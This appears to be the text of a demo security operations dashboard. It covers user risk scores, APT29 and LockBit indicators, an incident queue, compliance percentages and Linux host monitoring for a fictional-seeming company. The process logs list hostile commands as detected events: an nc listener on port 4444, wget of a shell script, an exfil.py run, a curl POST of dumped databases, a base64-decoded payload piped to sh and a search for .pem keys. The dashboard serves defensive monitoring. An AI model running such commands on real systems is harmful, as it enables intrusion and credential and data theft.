Score 62/100. HR Manager accessed 4× more sensitive documents than baseline this week. Keyword search logs show HR-related queries. No exfil detected. Assessment: Likely investigating HR matter legitimately, but warrants passive monitoring.
📊
UEBA Risk Register — All High-Risk Users
Behavioural anomaly breakdown · 30d window
UserDeptScorePrimary AnomalySecondary AnomalyClassificationAction Status
J. MitchellFinance89/100Impossible travel + C2After-hours priv accessCOMPROMISEDMonitoring · ISO pending
A. PatelIT74/100Bulk download 2.8GBDropbox upload attemptMALICIOUS INS.Enhanced monitoring
R. SharmaSales71/100Geo anomaly SingaporePII exfil attemptINVESTIGATEOAIC assessment open
L. ChenHR62/100Doc access spike ×4—NEGLIGENT?Passive monitoring
⚠️
Threat Intelligence — IOC & MITRE ATT&CK
12 active feeds · STIX/TAXII · APT tracking · ASD ACSC integration
Critical IOCs Active
3
↑ 2 new today
IOC Matches (30d)
47
↑ 11 this week
MITRE Techniques
18
Across 4 tactics
Feeds Active
12
11 live · 1 delayed
⚠ APT29 — COZY BEAR
Russian State Actor — Active in Network
IP 185.220.101.47 attributed to APT29 (Cozy Bear). Known for supply chain attacks, M365 exploitation (T1078), and long dwell times (avg 180 days before detection). Active C2 beacon on LAPTOP-JM-01 confirms network access.
Mandatory Actions
  1. Report to ASD ACSC immediately (mandatory for gov/critical infra)
  2. Engage IR retainer/DFIR firm
  3. Force org-wide password reset
  4. Check all M365 sign-in logs for APT29 TTPs
  5. Brief CEO and Board — potential state-sponsored attack
⚡ LOCKBIT 3.0
Ransomware Hash Detected
LockBit 3.0 file hash (a3f2b1c8d9e0...) detected on LAPTOP-JM-01 via VirusTotal lookup. LockBit 3.0 accounts for 28% of 2024 ransomware attacks (ASD ACSC). Dropper phase: ransomware may not yet be deployed — window to prevent encryption.
Actions
  1. Isolate endpoint NOW
  2. Check for C2 persistence mechanisms
  3. Review backup integrity
  4. Test recovery playbook
🔶 DOMAIN SPOOFING
update-ms365.ru — Active Phishing Domain
Domain impersonating Microsoft 365 detected in Spamhaus DROP list. 3 emails from this domain intercepted this week. Likely credential harvesting for corporate M365 accounts. DMARC enforcement prevents delivery but domain still active.
ℹ MITRE COVERAGE
18 Techniques — T1078 & T1059 Top
Valid Accounts (T1078) and Command/Scripting (T1059) are the top MITRE techniques observed this month. Shadow Sentry detection coverage: 100% for Initial Access, 78% for Persistence, 65% for Lateral Movement. Gap analysis recommended for T1055 (Process Injection).
⚠️
Active IOC Register
All active indicators · MITRE mapped · Source feeds
TypeIndicatorAttributionMITREFeedSevMatchesLast Seen
IP185.220.101.47APT29 / Cozy Bear 🇷🇺T1071, T1078CISACRIT44m
Domainupdate-ms365.ruPhishing actorT1566, T1598SpamhausCRIT31h
Hasha3f2b1c8d9e0…LockBit 3.0 ransomwareT1486, T1490VirusTotalCRIT12h
IP91.108.4.181Telegram C2 infrastructureT1102ASD ACSCHIGH23h
URLbit.ly/thiru-loginCredential harvesterT1566.002Google SafeHIGH15h
🚨
Incident Response — SIRP Queue
7 open incidents · MTTR 4.2h · 94% SLA compliance · 38% auto-remediated
Open Critical
2
SLA: 4h response
MTTR
4.2h
↓ from 7.1h
SLA Compliance
94%
1 breach this month
Auto-Remediated
38%
SOAR playbooks
⚠ INC-0147 — SLA ACTIVE
BEC Wire Fraud — CEO Impersonation
Active BEC attempt impersonating CEO requesting $95,000 wire transfer. Email scored 97/100. Recipient: a.patel (Finance). Email quarantined. Attacker may use alternate channels (phone, SMS). SLA: 1h remaining.
Playbook: BEC-001
  1. Confirm email quarantined (done)
  2. Alert Finance Manager and CFO directly
  3. Enable out-of-band verification for all transfers >$10K
  4. Check for follow-up phone calls from "CEO"
  5. Preserve evidence for ACSC reporting
⚠ INC-0146 — CRITICAL
J. Mitchell — Compromised Account + C2
Combined UEBA score 89/100, impossible travel, C2 beacon on LAPTOP-JM-01. Highest priority incident this month. APT29 attribution. Potential state-sponsored attack. Digital forensics required. Do NOT alert user.
Playbook: APT-001
  1. Network isolate LAPTOP-JM-01
  2. Assign 2 analysts (senior + forensics)
  3. Engage DFIR retainer
  4. Preserve memory/disk image
  5. Report to ASD ACSC (mandatory)
✓ IMPROVING
MTTR 4.2h — Down 41%
Mean Time to Respond dropped from 7.1h to 4.2h (41% improvement) since SOAR implementation in March. 38% of incidents now auto-remediated without analyst intervention. Target: 3.0h by Q3 2025.
🔶 PROCESS
38% Auto-Remediation Rate
SOAR playbooks handling phishing quarantine, account locks, USB blocks automatically. Human analyst required for UEBA escalations, DLP investigations, and state-sponsored threat response. Recommended: expand SOAR coverage to DLP blocks.
🚨
Incident Queue
All open incidents · SLA-tracked · playbook-linked
IDTitleSeverityModuleAssignedSLA StatusPlaybookStatus
INC-0147BEC wire fraud — CEO spoofCRITPHISHSOC Team1h leftBEC-001IN PROG
INC-0146J.Mitchell compromised + APT29 C2CRITUEBA/EDRS.Hungenahally3h leftAPT-001IN PROG
INC-0145A.Patel bulk download + DLPHIGHDLPIT Security8h leftDLP-002OPEN
INC-0144Malware blocked — LAPTOP-JM-01HIGHEDRIT Support—EDR-003RESOLVED
INC-0143R.Sharma — PII exfil + geo anomalyHIGHDLP/UEBAIT Security12h leftPRI-001OPEN
🌐
Geo Threat Map & AI SOC Analyst
Live global attack origins · Melbourne SOC · AI-powered threat investigation
🌐 Live Geo Threat Origins
Russia (185.220.101.47)
APT29 C2
Singapore (202.12.28.44)
R.Sharma geo
China (61.177.172.x)
Brute force
US (104.21.x.x)
Phishing infra
India (103.x.x.x)
R&D comms
Australia (10.x.x.x)
Internal — clean
🛡️ Full interactive Geo Map available in SOC Dashboard → Geo Threat Map tab
🧠 AI SOC Analyst — Quick Insights
CRITJ.Mitchell: APT29 C2 beacon + impossible travel. Immediate isolation required.
RISKR.Sharma DLP block + geo anomaly = potential OAIC notification obligation (72h window).
GAP13 users without MFA. Finance dept highest exposure. Essential 8 ML2 at risk.
TRENDBEC attempts ↑21% this month. Finance and executive targeting pattern suggests reconnaissance phase.
🤖 Full AI SOC Analyst chat available in SOC Dashboard → AI SOC Analyst tab
Shadow Sentry — Security Compliance Report
Download Compliance Report
Management Reporting · Multi-Framework · Generated: June 2025 · Shadow Sentry · ABN 52 154 199 710
Overall Posture: 92/100
Essential 8: 68% — ML2 target in progress
ISO 27001: 74% — Certification planned Q4 2025
NIST CSF: 71% — Active improvement plan
Report Period: 1–30 June 2025
Essential 8
68%
ML1 achieved · ML2 in progress
PARTIAL
ISO 27001
74%
Annex A controls · Gap analysis Q3
IN PROGRESS
NIST CSF 2.0
71%
5 functions assessed
IMPROVING
SOC 2 Type II
61%
5 Trust Criteria · Audit Q4
GAP REVIEW
Privacy Act / GDPR
82%
OAIC compliant · 1 active assessment
ACTIVE CASE
APRA CPS 234
88%
Information security capability
COMPLIANT
🚨
Critical Findings — Board Attention Required
Immediate action required · Legal and regulatory obligations
CRIT
State-Sponsored Attack — APT29 (Cozy Bear) C2 Active
Russian state actor APT29 has established Command & Control on endpoint LAPTOP-JM-01. Active C2 beacon to 185.220.101.47 confirmed. LockBit 3.0 ransomware dropper detected on same device. Possible pre-ransomware deployment stage. Mandatory ASD ACSC reporting obligation applies.
⚡ Required: ASD ACSC report · DFIR engagement · Board notification · Legal counsel
CRIT
Privacy Act — Potential Eligible Data Breach (890 PII Records)
R. Sharma (Sales Executive) attempted to transfer 890 customer PII records (TFN, email, phone, address) to a personal Gmail account. DLP blocked the transfer. OAIC 72-hour notification assessment window is active. If breach eligibility confirmed, mandatory notification to OAIC and affected individuals required.
⚡ Required: Legal assessment within 24h · OAIC notification readiness · Affected customer list preparation
HIGH
Essential 8 — Patch Management Gap (8 Critical CVEs Unpatched)
8 endpoints have unpatched critical vulnerabilities including CVE-2024-21338 (Windows kernel privilege escalation, CVSS 7.8 — actively exploited in wild). Essential 8 ML2 requires patches within 48 hours. Current compliance: 83%. Remediation required to avoid ML2 regression.
⚡ Required: Emergency patching within 48h · IT Director sign-off · Report to CISO
🇦🇺
Essential 8 — ACSC Framework
ASD ACSC · Australian Cyber Security Centre · 8 Strategies · Maturity Level assessment
68%
ML1→ML2
1. Application Control
Prevent execution of unapproved/malicious programs
95%
ML2
2. Patch Applications
Office, browsers, PDF readers within 48h for critical
83%
GAP
3. Configure Microsoft Office Macro Settings
Block macros from internet, digitally signed only
100%
ML2
4. User Application Hardening
Block Flash, ads, Java from internet; harden browsers
55%
ML1
5. Restrict Admin Privileges
Least privilege, no internet browsing with admin accounts
88%
ML2
6. Patch Operating Systems
OS patches within 48h for critical — 8 devices pending
83%
GAP
7. Multi-Factor Authentication
MFA for internet-facing services, remote access, admin
91%
NEAR ML2
8. Regular Backups
Daily backups, tested quarterly, offline/cloud copies
100%
ML3
📜
ISO/IEC 27001:2022
Information Security Management System · Annex A Controls · Certification target Q4 2025
74%
93/113 controls
A.5 Organisational Controls
Policies, roles, supplier security, information security in projects
85%
GOOD
A.6 People Controls
Background checks, awareness, disciplinary process, remote working
79%
PARTIAL
A.7 Physical Controls
Physical perimeter, clean desk, equipment security, off-site
91%
GOOD
A.8 Technological Controls
IAM, cryptography, monitoring, DLP, SIEM, EDR, vulnerability mgmt
78%
PARTIAL
Clause 6: Planning
Risk assessment, risk treatment, controls implementation
82%
GOOD
Clause 9: Performance Evaluation
Monitoring, internal audit, management review (due Q3)
55%
DUE Q3
🇺🇸
NIST Cybersecurity Framework 2.0
Govern · Identify · Protect · Detect · Respond · Recover
71%
Tier 3 target
GV. Govern
Policy, roles, strategy, oversight — NEW in CSF 2.0
72%
ID. Identify
Asset management, risk assessment, supply chain
80%
PR. Protect
IAM, awareness, data security, platform security
82%
DE. Detect
Continuous monitoring, anomaly detection, SIEM
88%
RS. Respond
Incident management, communications, mitigation
74%
RC. Recover
Recovery planning, improvements, communications
68%
🔒
Privacy Act 1988 (Cth) / GDPR Alignment
OAIC · Australian Privacy Principles (APPs) · EU GDPR Equivalence
82%
1 active case
APP 1 — Open & Transparent Management
Privacy policy published, staff training current
95%
COMPLIANT
APP 11 — Security of Personal Information
DLP, encryption, access controls for PII — R.Sharma incident active
75%
ACTIVE CASE
Notifiable Data Breaches (NDB) Scheme
72h OAIC notification · breach assessment process · reporting capability
90%
ASSESSMENT OPEN
GDPR Article 32 — Technical Measures
Encryption at rest/transit, pseudonymisation, access controls, testing
84%
ALIGNED
🏦
SOC 2 Type II
5 Trust Service Criteria · Audit planned Q4
61%
Pre-audit
CC — Security
78%
A — Availability
95%
C — Confidentiality
70%
PI — Processing Integrity
55%
P — Privacy
62%
🏛️
APRA CPS 234
Information Security for APRA-regulated entities
88%
Compliant
Defined Information Security Roles
100%
Information Security Capability
92%
Third Party Management
78%
Incident Response & Notification
88%
Testing Information Security
82%
🐧
Linux Machine Management — Ubuntu Security Intelligence
Elastic Stack · Auditd · Filebeat · Metricbeat · Packetbeat · OSQuery · Click any row to drill down
Elastic Connected
Ubuntu 22.04 LTS · 10 Hosts
--:-- AEST
12
Critical DLP Events
▲ 3 from yesterday
847
File Access Violations
▲ 12% this week
34
Privilege Escalations
▲ 8 sudo anomalies
2.4TB
Data Monitored
Across 10 Ubuntu hosts
98.7%
Agent Coverage
46/47 agents active
1,284
Audit Rules Active
auditd · 12 rulesets
🖥 Ubuntu Host Inventory — 10 Machines · Click to Expand
All (10)
Critical (2)
High (2)
Medium (3)
Production (4)
Hostname / FQDN IP Address OS / Kernel CPU / Mem Disk / Net Elastic Agents Top CVE Events / Last Risk Level
↗
SRV-PROD-03
PRODUCTION · srv-prod-03.thirucorp.internal
10.0.1.3
Ubuntu 22.04.3 LTS
5.15.0-91-generic
CPU
94%
MEM
88%
Disk 2800MB
Net 1200MB
FBMBABPBOQ
CVE-2024-1086
2 open
284
02:16
CRITICAL
🐧 SRV-PROD-03 · 10.0.1.3 · Ubuntu 22.04.3 LTS · production CRITICAL
📊 Overview
📁 FIM (5)
⚙️ Processes (5)
🔑 SSH (3)
🌐 Network (4)
🛡 CVEs (2)
94%
CPU Usage
🔴 SPIKE ANOMALY
88%
Memory
⚡ high
2800MB
Disk I/O
read+write / sec
1200MB
Network I/O
⚡ elevated
4.8
Load Avg 15m
⚡ high
2
Zombie Procs
⚠ investigate
CPU % — Last 24 hours (Metricbeat)
Host Details
FieldValue
HostnameSRV-PROD-03
FQDNsrv-prod-03.thirucorp.internal
IP Address10.0.1.3
OSUbuntu 22.04.3 LTS
Kernel5.15.0-91-generic
Environmentproduction
Events (24h)284
Open CVEs2
Elastic Agent Coverage
Filebeat
v8.12.0
● ACTIVE
Metricbeat
v8.12.0
● ACTIVE
Auditbeat
v8.12.0
● ACTIVE
Packetbeat
v8.12.0
● ACTIVE
OSQuery
v8.12.0
○ INACTIVE
🚨 CRITICAL — APT29 Active on SRV-PROD-03: /etc/passwd write (PID 14832) + 847MB C2 beacon to 185.220.101.47 + nc reverse shell on port 4444. Immediate isolation required. MITRE T1041 · T1059 · T1078.
File Integrity Monitoring — Auditbeat inotify watches
PathActionUserPIDSeverityMITRE
/etc/passwd WRITE root14832 CRITICAL T1078
/etc/sudoers MODIFY sysadmin9241 HIGH T1548
/etc/ssh/sshd_config MODIFY devops7103 HIGH T1562
/home/devops/.ssh/authorized_keys MODIFY devops8840 HIGH T1098
/usr/bin/python3 ACCESS j.mitchell22847 MEDIUM T1059
Process Execution — auditd EXECVE · OSQuery process_events
TimeUserCommandRiskMITRE
02:14j.mitchell nc -lvp 4444 CRITICAL T1059
02:16j.mitchell wget http://185.220.../sh CRITICAL T1105
02:23j.mitchell python3 /tmp/exfil.py CRITICAL T1041
02:14j.mitchell sudo -i CRITICAL T1068
08:12sysadmin apt-get upgrade -y LOW —
SSH & Session Activity — Filebeat auth.log · /var/log/secure
UserSource IPCountryTimeAuthFlag
j.mitchell 185.220.101.47 RU02:13password APT29 IP
devops 172.16.0.44 AU04:01key OK
root 10.0.4.88 AU03:40key ROOT LOGIN
Network Exfiltration Detection — Packetbeat · iptables · netflow
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
python3j.mitchell 185.220.101.47 RU443TLS 847MB CRITICAL T1041
wgetj.mitchell 185.220.101.47 RU80HTTP 1.2MB CRITICAL T1105
ncj.mitchell 5.188.86.114 NL4444TCP 8KB CRITICAL T1059
aptroot archive.ubuntu.com AU80HTTP 340MB LOW —
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2024-1086 7.8 Linux Kernel 5.15 Local priv-esc via use-after-free in nftables ACTIVE T1068
CVE-2024-6387 8.1 OpenSSH 9.x Remote code exec race condition in sshd ACTIVE T1190
↗
DB-PROD-01
PRODUCTION · db-prod-01.thirucorp.internal
10.0.2.1
Ubuntu 22.04.3 LTS
5.15.0-91-generic
CPU
41%
MEM
96%
Disk 180MB
Net 340MB
FBMBABPBOQ
CVE-2023-4911
2 open
124
03:41
CRITICAL
🐧 DB-PROD-01 · 10.0.2.1 · Ubuntu 22.04.3 LTS · production CRITICAL
📊 Overview
📁 FIM (3)
⚙️ Processes (5)
🔑 SSH (3)
🌐 Network (3)
🛡 CVEs (2)
41%
CPU Usage
✓ normal
96%
Memory
🔴 swap engaged
180MB
Disk I/O
read+write / sec
340MB
Network I/O
✓ normal
1.2
Load Avg 15m
✓ normal
0
Zombie Procs
✓ none
CPU % — Last 24 hours (Metricbeat)
Host Details
FieldValue
HostnameDB-PROD-01
FQDNdb-prod-01.thirucorp.internal
IP Address10.0.2.1
OSUbuntu 22.04.3 LTS
Kernel5.15.0-91-generic
Environmentproduction
Events (24h)124
Open CVEs2
Elastic Agent Coverage
Filebeat
v8.12.0
● ACTIVE
Metricbeat
v8.12.0
● ACTIVE
Auditbeat
v8.12.0
● ACTIVE
Packetbeat
v8.12.0
● ACTIVE
OSQuery
v8.12.0
● ACTIVE
⚠️ HIGH — r.sharma Insider Exfil on DB-PROD-01: pg_dump + mysqldump at 03:41 (off-hours, 4.8σ), 124MB to GCP Singapore via curl. UEBA score 71/100. MITRE T1005 · T1048.
File Integrity Monitoring — Auditbeat inotify watches
PathActionUserPIDSeverityMITRE
/var/log/auth.log READ r.sharma31042 MEDIUM T1083
/root/.bash_history ACCESS r.sharma30201 MEDIUM T1083
/etc/postgresql/15/pg_hba.conf READ postgres12847 LOW —
Process Execution — auditd EXECVE · OSQuery process_events
TimeUserCommandRiskMITRE
03:41r.sharma mysqldump -u root -p HIGH T1005
03:41r.sharma pg_dump thiru_prod HIGH T1005
03:45r.sharma curl -X POST 34.102.136.180 HIGH T1048
05:18r.sharma find / -name *.pem 2>/dev/null MEDIUM T1083
04:48r.sharma su - postgres HIGH T1078
SSH & Session Activity — Filebeat auth.log · /var/log/secure
UserSource IPCountryTimeAuthFlag
root 10.0.4.88 AU03:40key ROOT LOGIN
r.sharma 34.102.136.180 SG03:41password GCP IP
postgres 103.9.176.21 SG18:40password BRUTE FORCE
Network Exfiltration Detection — Packetbeat · iptables · netflow
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
curlr.sharma 34.102.136.180 SG80HTTP 124MB HIGH T1048
ncj.mitchell 5.188.86.114 NL4444TCP 4KB CRITICAL T1059
rsyncbackup 192.168.100.5 AU873TCP 12GB LOW —
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2023-4911 7.8 glibc 2.35 Buffer overflow in GNU C Library (LOONEY TUNABLES) ACTIVE T1068
CVE-2024-21626 8.6 runc 1.1.x Container escape via process working directory PATCH AVAILABLE T1611
↗
SRV-APP-02
PRODUCTION · srv-app-02.thirucorp.internal
10.0.3.2
Ubuntu 22.04.3 LTS
5.15.0-91-generic
CPU
52%
MEM
71%
Disk 240MB
Net 280MB
FBMBABPBOQ
CVE-2024-21626
1 open
47
06:44
HIGH
🐧 SRV-APP-02 · 10.0.3.2 · Ubuntu 22.04.3 LTS · production HIGH
📊 Overview
📁 FIM (3)
⚙️ Processes (4)
🔑 SSH (2)
🌐 Network (2)
🛡 CVEs (1)
52%
CPU Usage
⚡ elevated
71%
Memory
⚡ high
240MB
Disk I/O
read+write / sec
280MB
Network I/O
✓ normal
2.1
Load Avg 15m
✓ normal
7
Zombie Procs
⚠ investigate
CPU % — Last 24 hours (Metricbeat)
Host Details
FieldValue
HostnameSRV-APP-02
FQDNsrv-app-02.thirucorp.internal
IP Address10.0.3.2
OSUbuntu 22.04.3 LTS
Kernel5.15.0-91-generic
Environmentproduction
Events (24h)47
Open CVEs1
Elastic Agent Coverage
Filebeat
v8.12.0
● ACTIVE
Metricbeat
v8.12.0
● ACTIVE
Auditbeat
v8.12.0
● ACTIVE
Packetbeat
v8.12.0
● ACTIVE
OSQuery
v8.12.0
○ INACTIVE
⚠️ HIGH — LockBit Pre-Ransomware Stage on SRV-APP-02: libc.so.6 replaced (T1574), base64 decode payload execution (T1027), crontab persistence (T1053). 7 zombie processes detected.
File Integrity Monitoring — Auditbeat inotify watches
PathActionUserPIDSeverityMITRE
/lib/x86_64-linux-gnu/libc.so.6 REPLACE root2001 CRITICAL T1574
/tmp/upload_staging/payload.sh CREATE webapp44120 HIGH T1105
/etc/cron.d/sysmon CREATE devops11204 HIGH T1053
Process Execution — auditd EXECVE · OSQuery process_events
TimeUserCommandRiskMITRE
06:44webapp base64 -d payload.txt | sh MEDIUM T1027
06:45webapp ./sh CRITICAL T1059
06:47root crontab -e (new entry) HIGH T1053
07:02root systemctl enable sysmon HIGH T1543
SSH & Session Activity — Filebeat auth.log · /var/log/secure
UserSource IPCountryTimeAuthFlag
webapp 10.0.3.10 AU06:43key OK
admin 5.188.86.114 NL22:05password BRUTE FORCE
Network Exfiltration Detection — Packetbeat · iptables · netflow
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
python3webapp 103.9.176.21 SG443TLS 2MB HIGH T1041
aptroot archive.ubuntu.com AU80HTTP 180MB LOW —
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2024-21626 8.6 runc 1.1.11 Container escape in working dir traversal ACTIVE T1611
↗
SRV-WEB-01
PRODUCTION · srv-web-01.thirucorp.internal
10.0.3.1
Ubuntu 20.04.6 LTS
5.4.0-167-generic
CPU
28%
MEM
54%
Disk 120MB
Net 180MB
FBMBABPBOQ
CVE-2024-3094
1 open
23
04:02
HIGH
🐧 SRV-WEB-01 · 10.0.3.1 · Ubuntu 20.04.6 LTS · production HIGH
📊 Overview
📁 FIM (2)
⚙️ Processes (3)
🔑 SSH (2)
🌐 Network (2)
🛡 CVEs (1)
28%
CPU Usage
✓ normal
54%
Memory
✓ normal
120MB
Disk I/O
read+write / sec
180MB
Network I/O
✓ normal
0.8
Load Avg 15m
✓ normal
0
Zombie Procs
✓ none
CPU % — Last 24 hours (Metricbeat)
Host Details
FieldValue
HostnameSRV-WEB-01
FQDNsrv-web-01.thirucorp.internal
IP Address10.0.3.1
OSUbuntu 20.04.6 LTS
Kernel5.4.0-167-generic
Environmentproduction
Events (24h)23
Open CVEs1
Elastic Agent Coverage
Filebeat
v8.12.0
● ACTIVE
Metricbeat
v8.12.0
● ACTIVE
Auditbeat
v8.12.0
● ACTIVE
Packetbeat
v8.12.0
○ INACTIVE
OSQuery
v8.12.0
○ INACTIVE
⚠️ HIGH — Crontab persistence + CVE-2024-3094 (XZ backdoor, CVSS 10.0): Running Ubuntu 20.04 (EOL April 2025). Upgrade + patch urgently required.
File Integrity Monitoring — Auditbeat inotify watches
PathActionUserPIDSeverityMITRE
/etc/cron.d/sysmon CREATE devops11204 HIGH T1053
/etc/nginx/nginx.conf MODIFY devops8210 MEDIUM —
Process Execution — auditd EXECVE · OSQuery process_events
TimeUserCommandRiskMITRE
04:01devops chmod 777 /etc/cron.d HIGH T1222
04:02devops crontab -e (new entry) HIGH T1053
09:15nginx nginx -s reload LOW —
SSH & Session Activity — Filebeat auth.log · /var/log/secure
UserSource IPCountryTimeAuthFlag
devops 172.16.0.44 AU04:01key OK
admin 5.188.86.114 NL22:07password BRUTE FORCE
Network Exfiltration Detection — Packetbeat · iptables · netflow
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
nginx* 0.0.0.0 *443HTTPS varied LOW —
aptroot archive.ubuntu.com AU80HTTP 220MB LOW —
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2024-3094 10.0 XZ Utils 5.6.0 Backdoor in liblzma — SSH auth bypass PATCH AVAILABLE T1190
↗
SRV-MGMT
MANAGEMENT · srv-mgmt.thirucorp.internal
10.0.1.5
Ubuntu 22.04.3 LTS
5.15.0-89-generic
CPU
12%
MEM
38%
Disk 40MB
Net 60MB
FBMBABPBOQ
CVE-2023-51385
1 open
8
08:12
MEDIUM
🐧 SRV-MGMT · 10.0.1.5 · Ubuntu 22.04.3 LTS · management MEDIUM
📊 Overview
📁 FIM (1)
⚙️ Processes (3)
🔑 SSH (1)
🌐 Network (2)
🛡 CVEs (1)
12%
CPU Usage
✓ normal
38%
Memory
✓ normal
40MB
Disk I/O
read+write / sec
60MB
Network I/O
✓ normal
0.4
Load Avg 15m
✓ normal
0
Zombie Procs
✓ none
CPU % — Last 24 hours (Metricbeat)
Host Details
FieldValue
HostnameSRV-MGMT
FQDNsrv-mgmt.thirucorp.internal
IP Address10.0.1.5
OSUbuntu 22.04.3 LTS
Kernel5.15.0-89-generic
Environmentmanagement
Events (24h)8
Open CVEs1
Elastic Agent Coverage
Filebeat
v8.12.0
● ACTIVE
Metricbeat
v8.12.0
● ACTIVE
Auditbeat
v8.12.0
● ACTIVE
Packetbeat
v8.12.0
○ INACTIVE
OSQuery
v8.12.0
● ACTIVE
🔵 MEDIUM — Management host is healthy. CVE-2023-51385 (OpenSSH ProxyCommand injection, CVSS 9.8) patch available — apply within SLA window.
File Integrity Monitoring — Auditbeat inotify watches
PathActionUserPIDSeverityMITRE
/etc/ansible/ansible.cfg MODIFY sysadmin5820 LOW —
Process Execution — auditd EXECVE · OSQuery process_events
TimeUserCommandRiskMITRE
08:10sysadmin apt-get update LOW —
08:12sysadmin apt-get upgrade -y LOW —
09:44sysadmin ansible-playbook deploy.yml LOW —
SSH & Session Activity — Filebeat auth.log · /var/log/secure
UserSource IPCountryTimeAuthFlag
sysadmin 10.0.0.1 AU08:10key OK
Network Exfiltration Detection — Packetbeat · iptables · netflow
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
aptroot archive.ubuntu.com AU80HTTP 340MB LOW —
ansiblesysadmin 10.0.1.0/24 AU22SSH varied LOW —
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2023-51385 9.8 OpenSSH ProxyCommand Command injection via %h expansion PATCH AVAILABLE T1190
↗
DB-STAGING
STAGING · db-staging.thirucorp.internal
10.0.4.1
Ubuntu 22.04.3 LTS
5.15.0-89-generic
CPU
18%
MEM
44%
Disk 80MB
Net 90MB
FBMBABPBOQ
CVE-2023-4911
1 open
4
09:30
MEDIUM
🐧 DB-STAGING · 10.0.4.1 · Ubuntu 22.04.3 LTS · staging MEDIUM
📊 Overview
📁 FIM (0)
⚙️ Processes (1)
🔑 SSH (1)
🌐 Network (1)
🛡 CVEs (1)
18%
CPU Usage
✓ normal
44%
Memory
✓ normal
80MB
Disk I/O
read+write / sec
90MB
Network I/O
✓ normal
0.6
Load Avg 15m
✓ normal
0
Zombie Procs
✓ none
CPU % — Last 24 hours (Metricbeat)
Host Details
FieldValue
HostnameDB-STAGING
FQDNdb-staging.thirucorp.internal
IP Address10.0.4.1
OSUbuntu 22.04.3 LTS
Kernel5.15.0-89-generic
Environmentstaging
Events (24h)4
Open CVEs1
Elastic Agent Coverage
Filebeat
v8.12.0
● ACTIVE
Metricbeat
v8.12.0
● ACTIVE
Auditbeat
v8.12.0
● ACTIVE
Packetbeat
v8.12.0
○ INACTIVE
OSQuery
v8.12.0
○ INACTIVE
🔵 MEDIUM — Staging DB is healthy. Same glibc vulnerability as DB-PROD-01. Patch together to stay consistent across environments.
File Integrity Monitoring — Auditbeat inotify watches
PathActionUserPIDSeverityMITRE
No FIM events in last 24h ✓
Process Execution — auditd EXECVE · OSQuery process_events
TimeUserCommandRiskMITRE
09:30postgres pg_dump thiru_staging LOW T1005
SSH & Session Activity — Filebeat auth.log · /var/log/secure
UserSource IPCountryTimeAuthFlag
devops 10.0.0.55 AU09:25key OK
Network Exfiltration Detection — Packetbeat · iptables · netflow
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
psqlpostgres 10.0.4.1 AU5432TCP varied LOW —
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
CVE IDCVSSPackageDescriptionStatusMITRE
CVE-2023-4911 7.8 glibc 2.35 LOONEY TUNABLES buffer overflow PATCH AVAILABLE T1068
↗
SRV-BACKUP
BACKUP · srv-backup.thirucorp.internal
10.0.5.1
Ubuntu 22.04.3 LTS
5.15.0-89-generic
CPU
8%
MEM
42%
Disk 2400MB
Net 120MB
FBMBABPBOQ
—
0 open
2
09:10
LOW
🐧 SRV-BACKUP · 10.0.5.1 · Ubuntu 22.04.3 LTS · backup LOW
📊 Overview
📁 FIM (0)
⚙️ Processes (2)
🔑 SSH (1)
🌐 Network (1)
🛡 CVEs (0)
8%
CPU Usage
✓ normal
42%
Memory
✓ normal
2400MB
Disk I/O
read+write / sec
120MB
Network I/O
✓ normal
0.3
Load Avg 15m
✓ normal
0
Zombie Procs
✓ none
CPU % — Last 24 hours (Metricbeat)
Host Details
FieldValue
HostnameSRV-BACKUP
FQDNsrv-backup.thirucorp.internal
IP Address10.0.5.1
OSUbuntu 22.04.3 LTS
Kernel5.15.0-89-generic
Environmentbackup
Events (24h)2
Open CVEs0
Elastic Agent Coverage
Filebeat
v8.12.0
● ACTIVE
Metricbeat
v8.12.0
● ACTIVE
Auditbeat
v8.12.0
● ACTIVE
Packetbeat
v8.12.0
○ INACTIVE
OSQuery
v8.12.0
○ INACTIVE
✅ LOW — Backup server is clean. No CVEs. Backup job completed 03:00 AEST. 12GB synced successfully. All Elastic agents healthy.
File Integrity Monitoring — Auditbeat inotify watches
PathActionUserPIDSeverityMITRE
No FIM events in last 24h ✓
Process Execution — auditd EXECVE · OSQuery process_events
TimeUserCommandRiskMITRE
03:00backup rsync -az /data/prod /backup/ LOW —
09:10backup duplicati run LOW —
SSH & Session Activity — Filebeat auth.log · /var/log/secure
UserSource IPCountryTimeAuthFlag
backup 10.0.5.1 AU03:00key OK
Network Exfiltration Detection — Packetbeat · iptables · netflow
ProcessUserDest IPCountryPortProtoSizeRiskMITRE
rsyncbackup 192.168.100.5 AU873TCP 12GB LOW —
Vulnerability Register — NVD · EPSS · CISA KEV · Ubuntu USN
CVE IDCVSSPackageDescriptionStatusMITRE
No open CVEs ✓
↗
SRV-MON
MANAGEMENT · srv-mon.thirucorp.internal
10.0.1.8
Ubuntu 22.04.3 LTS
5.15.0-89-generic
CPU
22%
MEM
55%
Disk 60MB
Net 80MB
FBMBABPBOQ
—
0 open
12
10:02
LOW
🐧 SRV-MON · 10.0.1.8 · Ubuntu 22.04.3 LTS · management LOW
📊 Overview
📁 FIM (0)
⚙️ Processes (2)
🔑 SSH (1)
🌐 Network (2)
🛡 CVEs (0)
22%
CPU Usage
✓ normal
55%
Memory
✓ normal
60MB
Disk I/O
read+write / sec
80MB
Network I/O
✓ normal
1.1
Load Avg 15m
✓ normal
0
Zombie Procs
✓ none
CPU % — Last 24 hours (Metricbeat)
Host Details
FieldValue
HostnameSRV-MON
FQDNsrv-mon.thirucorp.internal
IP Address10.0.1.8
OSUbuntu 22.04.3 LTS
Kernel5.15.0-89-generic
Environmentmanagement
Events (24h)12
Open CVEs0
Elastic Agent Coverage
Filebeat
